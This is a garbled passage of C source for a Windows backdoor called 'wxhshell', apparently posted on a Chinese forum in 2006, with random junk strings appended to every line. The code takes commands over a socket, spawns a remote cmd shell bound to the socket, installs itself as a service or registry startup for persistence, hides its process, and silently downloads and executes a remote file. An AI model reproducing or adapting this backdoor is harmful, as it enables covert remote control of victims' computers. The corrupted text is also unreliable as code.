  else { UNH}*]u4`  
Y8CYkJTAD-  
    switch(cmd[0]) { O6/=/-?N=c  
  +P6  
  // 帮助 m5Laq'~0_  
  case '?': { XuAc3~HAd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Yr(f iI  
    break; +WEO]q?K  
  } c.me1fGn  
  // 安装 v_ F?x!  
  case 'i': { {~p %\  
    if(Install()) ljR?* P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P9HPr2  
    else * jNu?$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P*^UU\x'4I  
    break; GMp'KEQQ  
    } AxqTPx7`|  
  // 卸载 MS^hsUj}  
  case 'r': { F9G$$%Q-Z  
    if(Uninstall()) [~r $US  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <h>fip3o  
    else i~PZvxt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 21J82M  
    break; l[j0(T  
    } AE@Rn(1.  
  // 显示 wxhshell 所在路径 T=KrT7  
  case 'p': { E]Gq!fA&<  
    char svExeFile[MAX_PATH]; ;0}"2aGY  
    strcpy(svExeFile,"\n\r"); Z"8cGN'  
      strcat(svExeFile,ExeFile); 2OOj8JS  
        send(wsh,svExeFile,strlen(svExeFile),0); y]z#??  
    break; ]$k m  
    } gG z_t,=  
  // 重启 M]:B: ;  
  case 'b': { sy#j+gZ   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L1w4WFWO  
    if(Boot(REBOOT)) +( 7vmC.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *} 4;1OVT  
    else { 8i 'jkyInT  
    closesocket(wsh); leqSS}KU+  
    ExitThread(0); CMf~Yv  
    } "+"dALX{3K  
    break; H_$f v_  
    } 7.'j~hJL  
  // 关机 +[nYu)puP  
  case 'd': { CZno2$8@e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O*"wQ50Ou  
    if(Boot(SHUTDOWN)) %[F;TZt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*oTT(0<p  
    else { vb2O4%7tw  
    closesocket(wsh); |"&4"nwa  
    ExitThread(0); Olrw>YbW  
    } ?fwr:aP~  
    break; t-{OP?cE1  
    } jS)-COk  
  // 获取shell )n61IqrW  
  case 's': { c^UM(bW  
    CmdShell(wsh); Tfs9< k>G#  
    closesocket(wsh); j[ YTg]  
    ExitThread(0); 9_^V1+   
    break; 78A4n C  
  } $w}aX0dK&  
  // 退出 % ieAY-<"  
  case 'x': { Z.f<6<gF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J\},o|WI  
    CloseIt(wsh); ( {62GWnn_  
    break; 4p g(QeR  
    } s0'U[]  
  // 离开 wY)GX  
  case 'q': { nr6[rq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ::t !W7W  
    closesocket(wsh); PU\q.y0R  
    WSACleanup(); rMx_ <tXX  
    exit(1); AYtcN4\/  
    break; U}5KAi 9Z  
        } |-?b)yuAz  
  } c'4 \F9  
  } x?$Y<=vT  
#rC+13  
  // 提示信息 P=i |{vv(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l)eaIOyk  
} 2Nszxvq,  
  } )7TTRL  
r+obm)Qtp  
  return; zXO.NSC[  
} *Fs^T^ ?r  
Msdwv.jM  
// shell模块句柄 DGUU1 vA  
int CmdShell(SOCKET sock) hkm3\wg  
{ B9 {DO  
STARTUPINFO si; }6(:OB?  
ZeroMemory(&si,sizeof(si)); 1&WFs6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A~t7I{`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \%*y+I0>  
PROCESS_INFORMATION ProcessInfo; /qY(uPJ  
char cmdline[]="cmd"; ~~ w4854  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =z dti'2{4  
  return 0; Z ISd0hV  
} ]5L3[A4Vu  
;#Nci%<J\  
// 自身启动模式 4WnxJ]5`  
int StartFromService(void) g9Ll>d)tE3  
{ L32ki}2  
typedef struct 79fg%cSb  
{ +{*&I DW  
  DWORD ExitStatus; u-<s@^YG  
  DWORD PebBaseAddress; L~zet-3UNf  
  DWORD AffinityMask; 6ns_4, e  
  DWORD BasePriority; a&PZ7!PZv  
  ULONG UniqueProcessId; :H 7 "W<  
  ULONG InheritedFromUniqueProcessId; !r,d rb  
}   PROCESS_BASIC_INFORMATION; qdZYaS ~  
my0->W%L  
PROCNTQSIP NtQueryInformationProcess; Tj#XsD?J  
T9.gs}B0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1 ErYob.p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  )BB a  
7u(i4O& k  
  HANDLE             hProcess; _u!G 6   
  PROCESS_BASIC_INFORMATION pbi; R["7%|RV  
Fx\Re]~n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EtG)2)  
  if(NULL == hInst ) return 0; 1gr jK.x  
gr7_oJ:R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &0TheY;srf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ; U4X U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hs`  '](  
:-8u*5QK]`  
  if (!NtQueryInformationProcess) return 0; mUw,q;{  
R&p53n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XDQ1gg`  
  if(!hProcess) return 0; YKk%;U*  
_XtY/7n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $P~a   
NI)nf;C  
  CloseHandle(hProcess); %mJ)pMV  
T@XiG:b7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4#uoPkLK  
if(hProcess==NULL) return 0; o%iTYR :x  
!{LwX Kf  
HMODULE hMod; PGDlSB^O  
char procName[255]; R& A.F+Zgt  
unsigned long cbNeeded; #Ba'k6b  
3@J wL{C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3WHH3co[  
G_@H:4$3  
  CloseHandle(hProcess); 04TV. /uA  
9|,AhyhO  
if(strstr(procName,"services")) return 1; // 以服务启动 (@9-"W  
5=\b+<pE  
  return 0; // 注册表启动 R!ij CF\  
} |V5H(2/nk  
aDESO5  
// 主模块 ho. a93  
int StartWxhshell(LPSTR lpCmdLine) 4{=Em5`HbO  
{ M9nYt~vHX  
  SOCKET wsl; gB#t"s)  
BOOL val=TRUE; :KwYuwYS  
  int port=0; i|e-N?l  
  struct sockaddr_in door; ^q$sCt}  
L\5n!(,0  
  if(wscfg.ws_autoins) Install(); t!LvV.g+  
2vLn#  
port=atoi(lpCmdLine); :>z0m 0nI\  
c2QC`h(Wb  
if(port<=0) port=wscfg.ws_port; C;|Ru*  
5Z'pMkn3  
  WSADATA data; tee%E=P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uU0'y4=  
&H6Fkza;4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bV ym  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;nbvn  
  door.sin_family = AF_INET; L`BLkDm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6IA~bkc}  
  door.sin_port = htons(port); `B~%TEvMh  
e BPMT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "A7tb39*  
closesocket(wsl); Pt$7U[N  
return 1; hO8B]4=&*  
} a,.9eHf  
y)2]:nD`B  
  if(listen(wsl,2) == INVALID_SOCKET) { y!j1xnzki  
closesocket(wsl); C|+5F,D  
return 1; 4I$#R  
} EW)]75o{QF  
  Wxhshell(wsl); LdcP0G\"VG  
  WSACleanup(); ,fbO}  
hk(^?Fp  
return 0; HDYoM  
PeOgXg)L`z  
} H)Yv_gT  
AyWCb  
// 以NT服务方式启动 g_`8K,6ln  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;,D7VxWhY  
{ iPao54Z  
DWORD   status = 0; YB[P`Muj  
  DWORD   specificError = 0xfffffff; LS;kq',  
Y) Z>Bi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; };|'8'5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *ZHk^d:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V'8 (}(s/  
  serviceStatus.dwWin32ExitCode     = 0; 7ORwDR,`5  
  serviceStatus.dwServiceSpecificExitCode = 0; <5 okwcJ^  
  serviceStatus.dwCheckPoint       = 0; O1QHG'00  
  serviceStatus.dwWaitHint       = 0; ,+XQ!y%  
/}V9*mD2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C]}0h!_V  
  if (hServiceStatusHandle==0) return; ]0o78(/w2  
T ^uBMDYe  
status = GetLastError(); *<KY^;  
  if (status!=NO_ERROR) Li}yK[\]  
{ nG2RBeJV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *%8dW  
    serviceStatus.dwCheckPoint       = 0; FBe 1f1 sm  
    serviceStatus.dwWaitHint       = 0; y<Z8+/f`f  
    serviceStatus.dwWin32ExitCode     = status; 6d,"GT  
    serviceStatus.dwServiceSpecificExitCode = specificError; f?)qZPM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mR@iGl\\  
    return; Z# 1Qj9  
  } 6;ICX2Wq'  
ZC05^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o9JJ_-O"  
  serviceStatus.dwCheckPoint       = 0; }a8N!g  
  serviceStatus.dwWaitHint       = 0; r3|vu"Uei  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r]TeR$NJ  
} mIOx)`$  
2e+DUZBoC  
// 处理NT服务事件,比如:启动、停止 | r2'B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O *CKyW_$t  
{ [qc90)^Q,  
switch(fdwControl) wEk9(|  
{ /#blXI  
case SERVICE_CONTROL_STOP: p< XjiRq  
  serviceStatus.dwWin32ExitCode = 0; OA[w|Tt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zg]9~i8  
  serviceStatus.dwCheckPoint   = 0; 'EXp[*  
  serviceStatus.dwWaitHint     = 0; I\":L  
  { \;4RD$J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RP6QS)|  
  } q0Fy$e]u  
  return; WKP=[o^  
case SERVICE_CONTROL_PAUSE: iidK}<o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =*t)@bn  
  break; gq/q]Fm\  
case SERVICE_CONTROL_CONTINUE: O -@7n0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hh,\>= ':  
  break; 8I JFQDGA9  
case SERVICE_CONTROL_INTERROGATE: N'IzHyo.  
  break; T<!TmG  
}; J-=&B5"O>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); azN<]u@.  
} LFtnSB8  
[<6ez;2q'  
// 标准应用程序主函数 ~Xa >;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) " @.hz@>  
{ r"^P>8  
i9$ -lk  
// 获取操作系统版本 B \BP:;"  
OsIsNt=GetOsVer(); yYF%U7N/n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I~EJctOG  
/:l>yKI+~  
  // 从命令行安装 (tys7og$'  
  if(strpbrk(lpCmdLine,"iI")) Install(); _K'YaZTa;~  
<.#i3!  
  // 下载执行文件 fi`*r\  
if(wscfg.ws_downexe) { C4ge_u#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ``U>9S"p)  
  WinExec(wscfg.ws_filenam,SW_HIDE); MK,#"Ty}zK  
} ONg_3vD{  
GkVV%0;&J1  
if(!OsIsNt) { CPAizS  
// 如果时win9x,隐藏进程并且设置为注册表启动 t '* L,  
HideProc(); ^k/@y@%  
StartWxhshell(lpCmdLine); dCN4aY[d  
} kowBB0  
else G8 H=xr#  
  if(StartFromService()) </Ja@%  
  // 以服务方式启动 |G } qY5_  
  StartServiceCtrlDispatcher(DispatchTable); 5Q =o.wf  
else |}=xA%)  
  // 普通方式启动 bt"*@NJ$  
  StartWxhshell(lpCmdLine); \K55|3~R  
Xbe=_9l&p  
return 0; Sw%^&*J  
}
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只看该作者 1 发表于: 2006-10-10
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